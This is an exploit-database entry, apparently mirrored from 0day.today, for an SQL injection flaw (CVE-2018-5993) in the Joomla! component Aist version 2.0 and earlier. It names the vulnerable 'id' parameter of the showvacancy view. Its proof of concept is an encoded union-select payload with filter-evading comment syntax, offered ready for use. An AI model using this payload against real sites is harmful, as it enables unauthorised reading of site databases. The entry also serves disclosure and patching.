Joomla Aist 2.0 Component - id SQL Injection Vulnerability

2018-02-17T00:00:00
ID 1337DAY-ID-29814
Type zdt
Reporter Ihsan Sencan
Modified 2018-02-17T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # # # #
# Exploit Title: Joomla! Component Aist <= 2.0 - SQL Injection
# Vendor Homepage: http://aist.bmstu.ru/
# Software Link: http://aist.bmstu.ru/
# Version: <= 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5993
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_aist&view=showvacancy&id=[SQL]
#  
# JTJkJTMxJTIwJTIwJTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTU1JTRlJTQ5JTRmJTRlJTJhJTJmJTIwJTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTUzJTQ1JTRjJTQ1JTQzJTU0JTJhJTJmJTIwJTMxJTJjJTMyJTJjJTMzJTJjJTM0JTJjJTM1JTJjJTM2JTJjJTM3JTJjJTM4JTJjJTM5JTJjJTMxJTMwJTJjJTMxJTMxJTJjJTMxJTMyJTJjJTMxJTMzJTJjJTMxJTM0JTJjJTMxJTM1JTJjJTMxJTM2JTJjJTMxJTM3JTJjJTMxJTM4JTJjJTMxJTM5JTJjJTMyJTMwJTJjJTMyJTMxJTJjJTMyJTMyJTJjJTMyJTMzJTJjJTMyJTM0JTJjJTMyJTM1JTJjJTMyJTM2JTJjJTMyJTM3JTJjJTMyJTM4JTJjJTMyJTM5JTJjJTMzJTMwJTJjJTMzJTMxJTJjJTMzJTMyJTJjJTMzJTMzJTJjJTMzJTM0JTJjJTMzJTM1JTJjJTMzJTM2JTJkJTJkJTIwJTJk
# 
# # # #
 
 
 
 
https://kcst.bmstu.ru/forums/index.php?topic=1213.0
http://aist.bmstu.ru/
АИСТ выполнена в виде компонента для системы управления контентом CMS Joomla! 1.5. и представляет собой подсистему веб-сайта центра (службы) содействия трудоустройству выпускников или образовательного учреждения.
AIST is implemented as a component for the content management system CMS Joomla! 1.5. and is a subsystem of the website of the center (service) to promote the employment of graduates or an educational institution.

#  0day.today [2018-03-14]  #